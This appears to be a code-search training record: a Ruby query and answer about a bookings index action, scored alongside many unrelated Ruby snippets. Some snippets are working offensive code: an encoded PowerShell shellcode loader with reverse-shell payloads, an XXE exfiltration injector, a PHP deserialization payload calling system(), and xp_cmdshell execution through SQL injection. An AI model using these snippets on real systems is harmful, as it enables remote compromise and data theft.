"def write(chunk)\n body = ''\n chunk.msgpack_each {|(tag,time,record)|\n\n # define index and sourcetype dynamically\n begin\n index = expand_param(@index, tag, time, record)\n sourcetype = expand_param(@sourcetype, tag, time, record)\n event_host = expand_param(@event_host, tag, time, record)\n token = expand_param(@token, tag, time, record)\n rescue => e\n # handle dynamic parameters misconfigurations\n router.emit_error_event(tag, time, record, e)\n next\n end\n log.debug \"routing event from #{event_host} to #{index} index\"\n log.debug \"expanded token #{token}\"\n\n # Parse record to Splunk event format\n case record\n when Integer\n event = record.to_s\n when Hash\n if @send_event_as_json\n event = Yajl::Encoder.encode(record)\n else\n event = Yajl::Encoder.encode(record).gsub(\"\\\"\", %q(\\\\\\\"))\n end\n else\n event = record\n end\n\n sourcetype = @sourcetype == 'tag' ? tag : @sourcetype\n\n # Build body for the POST request\n if !@usejson\n event = record[\"time\"]+ \" \" + Yajl::Encoder.encode(record[\"message\"]).gsub(/^\"|\"$/,\"\")\n body << '{\"time\":\"'+ DateTime.parse(record[\"time\"]).strftime(\"%Q\") +'\", \"event\":\"' + event + '\", \"sourcetype\" :\"' + sourcetype + '\", \"source\" :\"' + @source + '\", \"index\" :\"' + index + '\", \"host\" : \"' + event_host + '\"}'\n elsif @send_event_as_json\n body << '{\"time\" :' + time.to_s + ', \"event\" :' + event + ', \"sourcetype\" :\"' + sourcetype + '\", \"source\" :\"' + source + '\", \"index\" :\"' + index + '\", \"host\" : \"' + event_host + '\"}'\n else\n body << '{\"time\" :' + time.to_s + ', \"event\" :\"' + event + '\", \"sourcetype\" :\"' + sourcetype + '\", \"source\" :\"' + source + '\", \"index\" :\"' + index + '\", \"host\" : \"' + event_host + '\"}'\n end\n\n if @send_batched_events\n body << \"\\n\"\n else\n send_to_splunk(body, token)\n body = ''\n end\n }\n\n if @send_batched_events\n send_to_splunk(body, token)\n end\n end",
"def post_arguments(raw_file, filemeta)\n {\n method: :post,\n url: build_url(PARSE_RESUME),\n payload: parse_body(raw_file, filemeta).to_json,\n headers: headers,\n timeout: REQUEST_TIMEOUT_SECONDS\n }\n end",
"def create data, options = {}\n\n data = convert_to_io(data)\n\n hash, tree_hash = compute_checksums(data)\n\n upload_options = {}\n upload_options[:vault_name] = vault.name\n upload_options[:account_id] = account_id\n upload_options[:body] = data\n upload_options[:checksum] = tree_hash\n upload_options[:content_sha256] = hash\n upload_options[:archive_description] = options[:description] if\n options[:description]\n\n resp = client.upload_archive(upload_options)\n\n self[resp[:archive_id]]\n\n end",
"def amf_content(target, ref, data)\n a, b = 1.divmod(256)\n c = StringIO.new\n c.write 0.chr + 0.chr # version 0\n c.write 0.chr + 0.chr # n headers\n c.write a.chr + b.chr # n bodies\n c.write AMF.encodestring(target)\n c.write AMF.encodestring(ref)\n c.write [-1].pack(\"N\")\n c.write AMF.encodevalue(data)\n\n @request.env[\"RAW_POST_DATA\"] = c.string\n end",
"def bulk_item_data\n prm = manifest_item_bulk_post_params\n items = prm[:data]\n raise_failure(\"not an Array: #{items.inspect}\") unless items.is_a?(Array)\n raise_failure('no item data') unless items.present?\n row = prm[:row].to_i\n delta = prm[:delta].to_i\n items.map do |item|\n raise_failure(\"not a Hash: #{item.inspect}\") unless item.is_a?(Hash)\n item[:manifest_id] = item.delete(:manifest) if item.key?(:manifest)\n if item[:manifest_id].blank?\n item[:manifest_id] = manifest_id\n elsif item[:manifest_id] != manifest_id\n raise_failure(\"invalid manifest_id for #{item.inspect}\")\n end\n row = (item[:row] ||= row)\n delta = (item[:delta] ||= delta + 1)\n ManifestItem.normalize_attributes(item).except!(:attr_opt)\n end\n end",
"def create_payload_from_file(exec)\n print_status(\"Reading Payload from file #{exec}\")\n ::IO.read(exec)\n end",
"def script_params\n params.require(:script).permit(:title, :code, :aasm_state, :path_to_application, :command, :action)\n end",
"def send_data p_data\n dump_object(p_data,@lifeline)\n end",
"def generate_binary(msfvenom_path, payload, options)\n dirname = File.dirname(\"tmp\")\n unless File.directory?(\"tmp\")\n FileUtils.mkdir_p(\"tmp\")\n print_status(\"tmp directory created.\")\n end\n\n cmd = 'ruby '+msfvenom_path+' -p '+payload+' -f c '+options+' > tmp/bin'+self.uuid+'.c'\n\n print_status(\"Delegating to msfvenom to generate payload binary: \")\n print_status(\" \"+cmd)\n\n return %x[ #{cmd} ]\n end",
"def data= blob\n $postgres.exec_prepared('wsfile_update', [self.id, {value: blob, format: 1}])\n end",
"def write_msg_to_target(message)\nprint_status(\"Writting message script on host...\")\nlocation = session.sys.config.getenv('TEMP')\nmsgvbs = \"#{location}\\\\messenger.vbs\"\nmg = @client.fs.file.new(msgvbs, \"wb\")\nmg.write(\"msgbox(\\\"#{message}\\\")\")\nmg.close\nreturn msgvbs\nend",
"def power_shell_hell\n if MSFPATH.nil? or MSFPATH == ''\n puts \"[\".light_red + \"*\".white + \"]\".light_red + \" MSF Path not provided, can't use this option without it!\".white\n puts \"[\".light_red + \"*\".white + \"]\".light_red + \" Check the source for where to edit to enable....\".white\n puts\n else\n puts \"Windows Powershell Payload Builder\".white.underline\n puts\n line = Readline.readline(\"(IP for PowerShell Reverse Payload)> \", true)\n zIP = line.chomp\n line = Readline.readline(\"(PORT for PowerShell Reverse Payload)> \", true)\n zPORT = line.chomp\n winz = { \n '1' => 'windows/meterpreter/reverse_http',\n '2' => 'windows/meterpreter/reverse_tcp',\n '3' => 'windows/shell/reverse_tcp',\n '4' => 'windows/shell/reverse_http',\n '5' => 'windows/x64/meterpreter/reverse_https',\n '6' => 'windows/x64/meterpreter/reverse_tcp',\n '7' => 'windows/x64/shell/reverse_tcp'\n }\n while(true)\n puts \"Select Payload\".light_yellow + \": \".white\n winz.each { |x,y| puts \"#{x}) \".white + \"#{y}\".light_yellow }\n answer=gets.chomp\n if answer.to_i > 0 and answer.to_i <= 7\n payload=winz[\"#{answer.to_i}\"]\n break\n end\n end\n puts \"[\".light_blue + \"*\".white + \"]\".light_blue + \"Generating Base ShellCode for Payload.....\".white\n # Preps and Builds our PowerShell Command to run\n ps_cmd = powershell_builder(\"-p #{payload} LHOST=#{zIP} LPORT=#{zPORT}\")\n if @tmp.nil?\n # Failed to find out %TEMP%, ask user for writable location...\n puts \"Provide a writable location for temporary storage, like\".light_yellow + \": C:\\\\\\\\\\\\\\\\WINDOWS\\\\\\\\Temp\".white\n line = Readline.readline(\"(Temp Path to use)> \", true)\n tmp = line.chomp\n puts\n else\n tmp=@tmp\n end\n puts \"[\".light_yellow + \"*\".white + \"]\".light_yellow + \" Make sure listener is ready if needed.....\".white\n puts \"[\".light_blue + \"*\".white + \"]\".light_blue + \" Attempting to run PowerShell payload on target.....\".white\n sleep(3)\n text = \"#{tmp}\\\\#{Rex::Text.rand_text_alpha(16)}.txt\"\n bat = \"#{tmp}\\\\#{Rex::Text.rand_text_alpha(16)}.bat\"\n cmdexec = \"%COMSPEC% /C echo #{ps_cmd} ^> #{text} > #{bat} & %COMSPEC% /C start %COMSPEC% /C #{bat}\"\n smb_psexec(cmdexec)\n files=[text, bat]\n cleanup_after(files, false)\n end\nend",
"def payload\n BSON::Document.new(\n command_name: command.keys.first.to_s,\n database_name: global_args[DATABASE_IDENTIFIER],\n command: command,\n request_id: request_id,\n reply: sections[0]\n )\n end",
"def handle_create_request(obj, original_message)\n if obj.include? :vds\n vds_config = obj[:vds]\n if vds_config[:type] == :xen\n saga = create_saga(CreateXenVdsSaga)\n saga.start(vds_config, original_message)\n else\n context = original_message.context()\n msg = Cirrocumulus::Message.new(nil, 'refuse', [original_message.content, [:not_supported_vds_type]])\n msg.ontology = self.name\n msg.receiver = context.sender\n msg.in_reply_to = context.reply_with\n self.agent.send_message(msg)\n end\n elsif obj.include? :disk\n disk_number = create_virtual_disk(obj[:disk])\n msg = Cirrocumulus::Message.new(nil, 'inform', [original_message.content, [:disk_number, disk_number]])\n msg.ontology = original_message.ontology\n self.agent.reply_to_message(msg, original_message)\n end\n end",
"def process_data(type, data)\n case type\n when :boolean\n MuseekBindings::BinUtils.pack_boolean(data)\n when :uint32\n MuseekBindings::BinUtils.pack_uint32(data)\n when :string\n MuseekBindings::BinUtils.pack_string(data)\n end\n end",
"def powershell_builder(venomstring)\n if File.exists?(\"#{MSFPATH}msfvenom\")\n # venomstring should be the arguments needed for msfvenom to build the base payload/shellcode ('-p <payload> LHOST=<ip> LPORT=<port>'\n shellcode=\"#{`#{MSFPATH}msfvenom #{venomstring} -b \\\\x00`}\".gsub(\";\", \"\").gsub(\" \", \"\").gsub(\"+\", \"\").gsub('\"', \"\").gsub(\"\\n\", \"\").gsub('buf=','').strip.gsub('\\\\',',0').sub(',', '')\n #\t=> yields a variable holding our escapped shellcode with ',' between each char.....\n\n puts \"[\".light_blue + \"*\".white + \"]\".light_blue + \" Converting Base ShellCode to PowerShell friendly format.....\".white\n # Borrowed from one of several appearances across the many Python written scripts....\n ps_base = \"$code = '[DllImport(\\\"kernel32.dll\\\")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(\\\"kernel32.dll\\\")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(\\\"msvcrt.dll\\\")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$winFunc = Add-Type -memberDefinition $code -Name \\\"Win32\\\" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$sc64 = %s;[Byte[]]$sc = $sc64;$size = 0x1000;if ($sc.Length -gt 0x1000) {$size = $sc.Length};$x=$winFunc::VirtualAlloc(0,0x1000,$size,0x40);for ($i=0;$i -le ($sc.Length-1);$i++) {$winFunc::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)};$winFunc::CreateThread(0,0,$x,0,0,0);for (;;) { Start-sleep 60 };\"\n # => Our base PowerShell wrapper to get the job done now in var\n # => place our shellcode in the placeholders\n ps_base_cmd = ps_base.sub('%s', shellcode) \n # Prep it for final stages and put in funky ps format....\n ps_cmd_prepped=String.new\n ps_base_cmd.scan(/./) {|char| ps_cmd_prepped += char + \"\\x00\" }\n\n # Base64 Encode our Payload so it is primed & ready for PowerShell usage\n stager = Base64.encode64(\"#{ps_cmd_prepped}\")\n\n # The magic is now ready!\n ps_cmd = 'powershell -noprofile -windowstyle hidden -noninteractive -EncodedCommand ' + stager.gsub(\"\\n\", '')\n return ps_cmd\n else\n puts \"[\".light_red + \"*\".white + \"]\".light_red + \" Can't find MSFVENOM to build payloads!\".white\n puts \"[\".light_red + \"*\".white + \"]\".light_red + \" Check or provide MSF Path in source to correct......\".white\n return nil\n end\nend",
"def processScript(ioSlaveActions, iAdditionalParameters)\n rError = nil\n\n # Check for options\n checkVar(:Comment, 'Comment to give to the release')\n checkVar(:ReleaseUser, 'Name of the user releasing')\n checkVar(:BranchName, 'Name of the branch to release from')\n checkVar(:ReleaseVersion, 'Version of the release')\n checkVar(:TasksFileName, 'Name of the file containing Tasks ID')\n checkVar(:TicketsFileName, 'Name of the file containing Tickets ID')\n checkVar(:SVNCOCmd, 'Command line parameters to give \"svn co\" to checkout this project')\n checkVar(:DeliverCmd, 'Command to execute to generate deliverables')\n # Read files first. Don't try anything if they fail.\n rError = readFiles\n if (rError == nil)\n # Lists of files, Tasks and Tickets have been retrieved\n # Create the directory that will store deliverables\n require 'tmpdir'\n lTempDeliverablesDirName = \"#{Dir.tmpdir}/WEACEDeliver_#{Thread.current.object_id}\"\n require 'fileutils'\n FileUtils::mkdir_p(lTempDeliverablesDirName)\n rError, lReleaseNotes, lDeliverables = testRegressionAndDeliver(lTempDeliverablesDirName)\n if (rError == nil)\n # Deliver the files for real\n lDeliverables.each do |iPlatformName, iPlatformInfo|\n iPlatformInfo.each do |iDeliveryType, iFilesList|\n lDeliveryFilesDir = \"#{lTempDeliverablesDirName}/Releases/#{iPlatformName}/#{iDeliveryType}\"\n iFilesList.each do |iFileName|\n ioSlaveActions.addSlaveAction(\n Tools::FilesManager, Actions::File_Upload,\n TransferFile.new(\"#{lDeliveryFilesDir}/#{iFileName}\"), iPlatformName, iDeliveryType, @BranchName, @ReleaseVersion, @ReleaseUser, @Comment\n )\n end\n end\n end\n lReleaseNotesDir = \"#{lTempDeliverablesDirName}/ReleaseNotes\"\n lReleaseNotes.each do |iReleaseNoteType, iReleaseNoteName|\n ioSlaveActions.addSlaveAction(\n Tools::FilesManager, Actions::File_UploadReleaseNote,\n TransferFile.new(\"#{lReleaseNotesDir}/#{iReleaseNoteName}.#{iReleaseNoteType}\"), iReleaseNoteType, @BranchName, @ReleaseVersion, @ReleaseUser, @Comment\n )\n end\n # For each Ticket to update, add a release comment\n @LstTickets.each do |iTicketID|\n ioSlaveActions.addSlaveAction(\n Tools::TicketTracker, Actions::Ticket_AddReleaseComment,\n iTicketID, @BranchName, @ReleaseVersion, @ReleaseUser, @Comment\n )\n end\n # For each Task to update, add a commit comment\n @LstTasks.each do |iTaskID|\n ioSlaveActions.addSlaveAction(\n Tools::ProjectManager, Actions::Task_AddReleaseComment,\n iTaskID, @BranchName, @ReleaseVersion, @ReleaseUser, @Comment\n )\n end\n # Add a wiki comment\n ioSlaveActions.addSlaveAction(\n Tools::Wiki, Actions::Wiki_AddReleaseComment,\n @BranchName, @ReleaseVersion, @ReleaseUser, @Comment\n )\n end\n if (rError == nil)\n FileUtils::rm_rf(lTempDeliverablesDirName)\n else\n log_err \"Error encountered while distributing deliverables: #{rError}. Keeping directory #{lTempDeliverablesDirName} for investigation purposes. Feel free to remove it.\"\n end\n end\n\n return rError\n end",
"def script_params\n params.require(:script).permit(:name, :description, :status, :context, :version, :owningApp)\n end",
"def payload(document,payload)\n\t# insert the payload, TODO this should be refactored\n\tdocument = document.gsub('<?xml version=\"1.0\" encoding=\"UTF-8\"?>',\"\"\"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\" standalone=\\\"no\\\"?>#{payload.gsub('IP',@options[\"ip\"]).gsub('FILE',@options[\"exfiltrate\"])}\"\"\")\n\tdocument = document.gsub('<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>',\"\"\"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\" standalone=\\\"no\\\"?>#{payload.gsub('IP',@options[\"ip\"]).gsub('FILE',@options[\"exfiltrate\"])}\"\"\")\n\treturn document\nend",
"def script_params\n params.require(:script).permit(:name, :schedule, :status, :repeat_at, {input_file: []})\n end",
"def execute\r\n ##### SALESFORCE STUFF #####\r\n\r\n # Instanciate the Salesforce Client\r\n client = Restforce.new :username => @info_values[\"sf_username\"],\r\n :password => @info_values[\"sf_password\"],\r\n :security_token => @info_values[\"sf_token\"],\r\n :client_id => @info_values[\"sf_client_id\"],\r\n :client_secret => @info_values[\"sf_client_secret\"]\r\n\r\n # Call the Kinetic Request CE API\r\n begin\r\n space_slug = @parameters[\"space_slug\"].empty? ? @info_values[\"space_slug\"] : @parameters[\"space_slug\"]\r\n\r\n # Submission API Route including Values\r\n submission_api_route = @info_values[\"api_server\"] +\r\n \"/\" + space_slug +\r\n \"/app/api/v1/submissions/\" +\r\n URI.escape(@parameters[\"submission_id\"]) +\r\n \"/?include=values\"\r\n\r\n # Retrieve the Submission Values\r\n submission_result = RestClient::Resource.new(\r\n submission_api_route,\r\n user: @info_values[\"api_username\"],\r\n password: @info_values[\"api_password\"]\r\n ).get\r\n\r\n # If the submission exists\r\n unless submission_result.nil?\r\n submission = JSON.parse(submission_result)[\"submission\"]\r\n field_value = submission[\"values\"][@parameters[\"field_name\"]]\r\n # If the attachment field value exists\r\n unless field_value.nil?\r\n files = []\r\n # Attachment field values are stored as arrays, one map for each file attachment\r\n field_value.each_index do |index|\r\n file_info = field_value[index]\r\n # The attachment file name is stored in the 'name' property\r\n # API route to get the generated attachment download link from Kinetic Request CE.\r\n # \"/{spaceSlug}/app/api/v1/submissions/{submissionId}/files/{fieldName}/{fileIndex}/{fileName}/url\"\r\n# attachment_download_api_route = get_info_value(@input_document, 'api_server') +\r\n# file_info['link'] + \"/url\"\r\n attachment_download_api_route = @info_values[\"api_server\"] +\r\n '/' + space_slug + '/app/api/v1' +\r\n '/submissions/' + URI.escape(@parameters['submission_id']) +\r\n '/files/' + URI.escape(@parameters['field_name']) +\r\n '/' + index.to_s +\r\n '/' + URI.escape(file_info['name']) +\r\n '/url'\r\n\r\n # Retrieve the URL to download the attachment from Kinetic Request CE.\r\n # This URL will only be valid for a short amount of time before it expires\r\n # (usually about 5 seconds).\r\n attachment_download_result = RestClient::Resource.new(\r\n attachment_download_api_route,\r\n user: @info_values[\"api_username\"],\r\n password: @info_values[\"api_password\"]\r\n ).get\r\n\r\n unless attachment_download_result.nil?\r\n url = JSON.parse(attachment_download_result)['url']\r\n file_info[\"url\"] = url\r\n\r\n # Download File from Filehub\r\n response = RestClient.get(file_info[\"url\"])\r\n\r\n # Upload File to Salesforce\r\n attachId = client.create 'Attachment', ParentId: @parameters[\"sf_parent_id\"],\r\n Description: @parameters[\"sf_attachment_desc\"],\r\n Name: file_info[\"name\"],\r\n ContentType: file_info[\"contentType\"],\r\n Body: Base64::encode64(response.body)\r\n end\r\n file_info.delete(\"link\")\r\n file_info[\"sf_attachment_id\"] = attachId\r\n files << file_info\r\n end\r\n end\r\n end\r\n\r\n # If the credentials are invalid\r\n rescue RestClient::Unauthorized\r\n raise StandardError, \"(Unauthorized): You are not authorized.\"\r\n rescue RestClient::ResourceNotFound => error\r\n raise StandardError, error.response\r\n end\r\n\r\n # Build the results to be returned by this handler\r\n results = '';\r\n if files.nil?\r\n result = <<-RESULTS\r\n <results>\r\n <result name=\"files\"></result>\r\n </results>\r\n RESULTS\r\n else\r\n results = <<-RESULTS\r\n <results>\r\n <result name=\"files\">#{escape(JSON.dump(files))}</result>\r\n </results>\r\n RESULTS\r\n end\r\n\r\n\t# Return the results String\r\n return results\r\n end",
"def authorize_upload_postprocess\n\n upload = Panda.post('/videos/upload.json', {\n file_name: upload_payload['filename'],\n file_size: upload_payload['filesize'],\n profiles: \"h264\",\n })\n\n render :json => {:upload_url => upload['location'], :postprocess_url => \"/videos/postprocess\"}\n end",
"def convert_fcgi_post(params, args = nil)\n post_hash = {}\n \n params.each do |key, realval|\n val = realval.first\n classn = val.class.name\n \n #Sometimes uploaded files are given as StringIO's.\n if classn == \"StringIO\" or classn == \"Tempfile\"\n val = Hayabusa::Http_session::Post_multipart::File_upload.new(\n :fname => val.original_filename,\n :data => val\n )\n end\n \n post_hash[key] = val\n end\n \n post_ret = {}\n post_hash.each do |varname, value|\n Knj::Web.parse_name(post_ret, varname, value)\n end\n \n return post_ret\n end",
"def script_params\n params.require(:script).permit(:name, :file_path, :size, :downloads)\n end",
"def build_body(ctrl, request_ctx)\n arr = []\n Launcher.new(ctrl, request_ctx).each &proc {|out| arr << out.to_s }\n end",
"def soap_body(env)\n env['rack.input'].respond_to?(:string) ? env['rack.input'].string\n : env['rack.input'].read\n end",
"def send_packet(payload); end",
"def add_dlc_raw(dlc_raw)\n file = Tempfile.open('temp_dlc') do |f|\n f.write dlc_raw\n self.class.get(\"/action/add/container/#{file.path}\")\n end\n\n # Lists the details of any download or downloads (by id) or all downloads.\n def packages(downloadids = nil)\n downloadids = [downloadids] if downloadids.is_a?(Integer)\n\n dls = parse_packages(self.class.get(\"/get/downloads/alllist\"))\n if downloadids.nil?\n return dls\n else\n return dls.delete_if {|id, package| not downloadids.include?(id)}\n end\n end\n alias :package :packages\n alias :downloads :packages\n\n private\n def parse_packages(string)\n return {} if string.nil?\n i = -1\n Hash[*Hpricot(string).search(\"package\").collect { |package|\n m = nil\n [i+=1, Package.new({\n :name => package.attributes['package_name'],\n :id => package.attributes['package_id'].to_i,\n :links => {\n :in_progress => package.attributes['package_linksinprogress'].to_i,\n :in_total => package.attributes['package_linkstotal'].to_i\n },\n :eta => (package.attributes['package_ETA'] == \"00:-1\") ? nil : package.attributes['package_ETA'].split(\":\").reverse.inject(0) { |sum, element| m = ((m.nil?) ? 1 : m*60 ); sum + element.to_i*m },\n :speed => package.attributes['package_speed'].split(\" \")[0].to_f * parse_bytes(package.attributes['package_speed'].split(\" \")[1]),\n :completed => package.attributes['package_percent'].to_f/100,\n :size => {\n :loaded => package.attributes['package_loaded'].split(\" \")[0].to_f * parse_bytes(package.attributes['package_loaded'].split(\" \")[1]),\n :total => package.attributes['package_size'].split(\" \")[0].to_f * parse_bytes(package.attributes['package_size'].split(\" \")[1]),\n :todo => package.attributes['package_todo'].split(\" \")[0].to_f * parse_bytes(package.attributes['package_todo'].split(\" \")[1])\n },\n :files => Hash[*package.search(\"file\").collect { |file|\n [file.attributes['file_id'].to_i,JDownloader::File.new({\n :name => file.attributes['file_name'],\n :id => file.attributes['file_id'].to_i,\n #:package_id => file.attributes['file_package'].to_i,\n :completed => file.attributes['file_percent'].to_f/100,\n :hoster => file.attributes['file_hoster'],\n :status => parse_status(file.attributes['file_status']),\n #:speed => (file.attributes['file_speed'] == \"-1\") ? nil : file.attributes['file_speed'].to_i\n })]\n }.flatten]\n\n })]\n }.flatten\n ]\n end\n\n def parse_bytes(bytes)\n case bytes\n when \"GB\",\"GB/s\"\n return 1048576\n when \"MB\",\"MB/s\"\n return 1024\n when \"KB\",\"KB/s\"\n return 1\n when \"B\",\"B/s\"\n return 1/1024\n else\n raise \"Unknown unit: #{bytes}\"\n end\n end\n\n def parse_status(status)\n case status\n when \"[finished]\"\n {\n :description => :finished\n }\n when /^Wait ([0-9]{2})?:?([0-9]{2}):([0-9]{2}) min(?:\\. for (.+))?$/\n {\n :description => :wait,\n :wait => $4,\n :time => ETA.new($1.to_i * 3600 + $2.to_i * 60 + $3.to_i)\n }\n when \"Connecting...\"\n {\n :description => :wait,\n :wait => :connecting\n }\n when \"[wait for new ip]\"\n {\n :description => :wait,\n :wait => :new_ip\n }\n when /^ETA ([0-9]{2})?:?([0-9]{2}):([0-9]{2}) @ ([0-9]+\\.[0-9]+) ([G|M|K]?B)\\/s \\(([0-9]+)\\/([0-9]+)\\)$/ # What are these last two digitas? Download slots used and available?\n {\n :description => :in_progress,\n :time => ETA.new($1.to_i * 3600 + $2.to_i * 60 + $3.to_i),\n :speed => $4.to_f * parse_bytes($5),\n :slots => {\n :used => $6.to_i,\n :free => $7.to_i - $6.to_i,\n :total => $7.to_i\n }\n }\n when \"\"\n {\n :description => \"Unknown\"\n }\n else\n status\n end\n end\n end",
"def phpggc_payload(cmd)\r\n (\r\n # http://www.phpinternalsbook.com/classes_objects/serialization.html\r\n <<~EOF\r\n O:24:\"GuzzleHttp\\\\Psr7\\\\FnStream\":2:{\r\n s:33:\"\\u0000GuzzleHttp\\\\Psr7\\\\FnStream\\u0000methods\";a:1:{\r\n s:5:\"close\";a:2:{\r\n i:0;O:23:\"GuzzleHttp\\\\HandlerStack\":3:{\r\n s:32:\"\\u0000GuzzleHttp\\\\HandlerStack\\u0000handler\";\r\n s:cmd_len:\"cmd\";\r\n s:30:\"\\u0000GuzzleHttp\\\\HandlerStack\\u0000stack\";\r\n a:1:{i:0;a:1:{i:0;s:6:\"system\";}}\r\n s:31:\"\\u0000GuzzleHttp\\\\HandlerStack\\u0000cached\";\r\n b:0;\r\n }\r\n i:1;s:7:\"resolve\";\r\n }\r\n }\r\n s:9:\"_fn_close\";a:2:{\r\n i:0;r:4;\r\n i:1;s:7:\"resolve\";\r\n }\r\n }\r\n EOF\r\n ).gsub(/\\s+/, '').gsub('cmd_len', cmd.length.to_s).gsub('cmd', cmd)\r\n end",
"def on_request_uri(cli, request)\r\n unless @pl\r\n print_error(\"A request came in, but the payload wasn't ready yet!\")\r\n return\r\n end\r\n print_good('Sending the payload to CMS...')\r\n send_response(cli, @pl)\r\n\r\n Rex.sleep(3)\r\n\r\n print_status('Executing shell...')\r\n inject_sql(create_hex_cmd(\"xp_cmdshell \\\"cmd /c C:\\\\windows\\\\temp\\\\#{@filename}\\\"\"), true)\r\n register_file_for_cleanup(\"c:/windows/temp/#{@filename}\")\r\n end",
"def upload_raw_data\n show do\n title \"Prepare to upload resulting analyzer data\"\n check \"Under \\\"Analysis\\\". \\\"Gel Image\\\" tab, click \\\"Select All\\\".\"\n check \"Under the \\\"View\\\" tab, check \\\"Show Analysis Parameters\\\".\"\n image \"Actions/Fragment Analyzer/frag_an_select_all.JPG\"\n end\n\n show do\n title \"Save resulting analyzer data\"\n warning \"Ensure that \\\"RawCSVAndGelImage\\\" is selected under the \\\"Report/Export Profile\\\" dropdown menu\"\n check \"Under the \\\"Report\\\" tab, click \\\"Start Report/Export\\\".\"\n note \"Wait while the files are generated.\"\n check \"Under \\\"File\\\"->\\\"Open Data Directory\\\", click \\\"Export\\\".\"\n check \"Copy the following files with today's date, and paste into \\\"Documents/Raw Data\\\":\"\n note \"_Rw\"\n note \"_Rw.csv\"\n note \"_Go_150dpi_1\"\n note \"_Ex_PeakCalling.csv\"\n image \"Actions/Fragment Analyzer/frag_an_files_to_upload.JPG\"\n end\n\n show do\n title \"Upload resulting analyzer data\"\n note \"Upload the files ending in the following sequences:\"\n note \"_Rw\"\n upload var: \"Raw XML\"\n note \"_Rw.csv\"\n upload var: \"Raw CSV\"\n note \"_Go_150dpi_1\"\n upload var: \"Gel Image\"\n note \"_Ex_PeakCalling.csv\"\n upload var: \"Peak Calling CSV\"\n end\n end",
"def pbPostData(url, postdata, filename=nil, depth=0)\r\n userAgent=\"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.14) Gecko/2009082707 Firefox/3.0.14\"\r\n if url[/^http:\\/\\/([^\\/]+)(.*)$/]\r\n host=$1\r\n path=$2\r\n path=\"/\" if path.length==0\r\n body = postdata.map {|key, value|\r\n keyString=key.to_s\r\n valueString=value.to_s\r\n keyString.gsub!(/[^a-zA-Z0-9_\\.\\-]/n) {|s| sprintf('%%%02x', s[0]) }\r\n valueString.gsub!(/[^a-zA-Z0-9_\\.\\-]/n) {|s| sprintf('%%%02x', s[0]) }\r\n next \"#{keyString}=#{valueString}\"\r\n }.join('&')\r\n request=\"POST #{path} HTTP/1.1\\nUser-Agent: #{userAgent}\\nPragma: no-cache\\nHost: #{host}\\nProxy-Connection: Close\\n\"\r\n request+=\"Content-Type: application/x-www-form-urlencoded\\n\"\r\n request+=\"Content-Length: #{body.length}\\n\"\r\n request+=\"\\n\"\r\n request+=body\r\n return pbHttpRequest(host, request, filename, depth)\r\n end\r\n return \"\"\r\nend",
"def postToolsUpload( filedata)\n params = Hash.new\n params['filedata'] = filedata\n return doCurl(\"post\",\"/tools/upload\",params)\n end"
] | [
"0.63305825",
"0.5805784",
"0.57444984",
"0.5621189",
"0.5532408",
"0.5529648",
"0.5508981",
"0.5500931",
"0.5466006",
"0.5445682",
"0.53997624",
"0.5381502",
"0.533078",
"0.5298314",
"0.52878666",
"0.5178731",
"0.5141616",
"0.51032495",
"0.5102343",
"0.5099219",
"0.50991964",
"0.50991964",
"0.5070606",
"0.5045424",
"0.50417244",
"0.5040209",
"0.50237864",
"0.500773",
"0.5006687",
"0.4997256",
"0.4985467",
"0.4959075",
"0.4943019",
"0.4939926",
"0.49383575",
"0.49305624",
"0.4924148",
"0.49236542",
"0.4923098",
"0.49058634",
"0.4905248",
"0.4901143",
"0.49009067",
"0.4893498",
"0.48865908",
"0.48851314",
"0.48787624",
"0.48619667",
"0.48609966",
"0.48573574",
"0.48509374",
"0.48491102",
"0.48475763",
"0.48383194",
"0.48356724",
"0.48287734",
"0.4825054",
"0.4825054",
"0.48200804",
"0.48117518",
"0.48098323",
"0.48089242",
"0.48030496",
"0.47967422",
"0.47939304",
"0.47911945",
"0.47861764",
"0.47788113",
"0.47759458",
"0.47746798",
"0.47729897",
"0.47728506",
"0.47694582",
"0.47688618",
"0.47605804",
"0.475974",
"0.4739728",
"0.47379568",
"0.47347057",
"0.4732814",
"0.4715667",
"0.47088203",
"0.47074014",
"0.47038826",
"0.4702069",
"0.46985066",
"0.46941724",
"0.46925014",
"0.46912903",
"0.4690652",
"0.46902087",
"0.4689037",
"0.46889904",
"0.46885413",
"0.46862972",
"0.46746242",
"0.4673001",
"0.46710455",
"0.46608773",
"0.46589133"
] | 0.6072732 | 1 |
GET /bookings GET /bookings.json | def index
@bookings = Booking.all
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def index\n @bookings = Booking.all\n\n render json: @bookings\n end",
"def index\n @bookings = Booking.all\n\n respond_to do |format|\n format.html\n format.json { render :json => @bookings }\n end\n end",
"def index\n @bookings = Booking.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @bookings }\n end\n end",
"def index\n @bookings = Booking.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @bookings }\n end\n end",
"def index\n @bookings = Booking.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @bookings }\n end\n end",
"def index\n @bookings = Booking.all\n respond_with(@bookings)\n end",
"def index\n bookings = Booking.all\n\n if bookings\n render json: { status: 'SUCCESS', message: 'Successfuly got all bookings', data: bookings }, status: :ok\n else\n render json: { status: 'ERROR', message: 'Something went wrong' }, status: :unprocessable_entity\n end\n end",
"def index\n @bookings = Booking.all\n end",
"def index\n render json: { bookings: @site.bookings.order(datetime: :asc) }, status: 200\n end",
"def show\n @booking = Booking.find(params[:id])\n render json: @booking\nend",
"def show\n\t\t@booking = Booking.find(params[:id])\n\t\trender json: @booking, status: 200\n\tend",
"def index\n @bookings = Booking.all.map { |b| [b, b.contact, b.persons.first] }\n respond_to do |format|\n format.html\n format.json { render json: @bookings }\n end\n end",
"def index\n @bookings = @user.bookings\n end",
